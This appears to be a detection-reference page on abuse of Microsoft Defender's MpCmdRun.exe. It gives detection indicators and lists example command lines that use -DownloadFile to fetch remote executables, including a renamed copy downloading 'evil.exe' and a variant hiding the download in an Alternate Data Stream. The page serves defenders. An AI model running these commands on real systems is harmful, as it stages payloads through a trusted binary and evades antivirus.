Process
mpcmdrun.exe
MpCmdRun.exe is the command-line interface to Microsoft Defender Antivirus, used to run scans, manage signatures, and configure protection. Administrators use it to drive Defender from scripts. Attackers abuse it to download files through a trusted binary and to turn protection off.
File identity
Not observed.
Not observed.
Not observed.
Not observed.
Execution context
Not observed.
Not observed.
Not observed.
Not observed.
Not observed.
Not observed.
Ancestry
Not observed.
Not observed.
Not observed.
Not observed.
Behavior
Not observed.
Not observed.
Not observed.
Not observed.
MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}Download · Download filecopy "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" C:\Users\Public\Downloads\MP.exe && chdir "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\" && "C:\Users\Public\Downloads\MP.exe" -DownloadFile -url {REMOTEURL:.exe} -path C:\Users\Public\Downloads\evil.exeDownload · Download fileMpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}:evil.exeADS · Hide downloaded data into an Alternate Data Stream
Indicators
Not observed.
Analysis
MpCmdRun.exe (Microsoft Malware Protection Command Line Utility) controls Microsoft Defender Antivirus. It can start scans, update or roll back signatures, collect diagnostics, and restore quarantined items. Because Defender updates itself into versioned platform folders, the genuine binary lives under C:\ProgramData\Microsoft\Windows Defender\Platform\<version>\MpCmdRun.exe (and a copy under Program Files\Windows Defender), not in System32.
Legitimately, MpCmdRun is run by administrators and by Defender's own tooling. The action it performs is what gives an instance meaning, and a couple of those actions are useful to attackers.
MpCmdRun.exe is a download proxy (T1105). Its -DownloadFile option fetches a file from a URL to a local path, so an attacker uses Defender's own signed tool to pull tooling onto the host under a name that security products are unlikely to flag. Watch for a MpCmdRun command line containing -DownloadFile and a URL, especially from an unusual parent.
It is also used to weaken Defender (T1685). MpCmdRun and the related configuration commands can remove signatures, disable scanning features, or restore quarantined files, blinding the very product it belongs to. Because the tool is legitimate, the action and the parent are what separate Defender administration from an attacker downloading payloads or switching protection off.
- Image path outside the Windows Defender Platform or Program Files locationshigh
-DownloadFilefetching a file from a URLhigh- Parent is an Office application, a script host,
cmd.exe, orpowershell.exehigh - Commands that disable scanning or remove definitionshigh
- Outbound connections to hosts unrelated to Defender updatesmed
Telemetry
Not observed.
Not observed.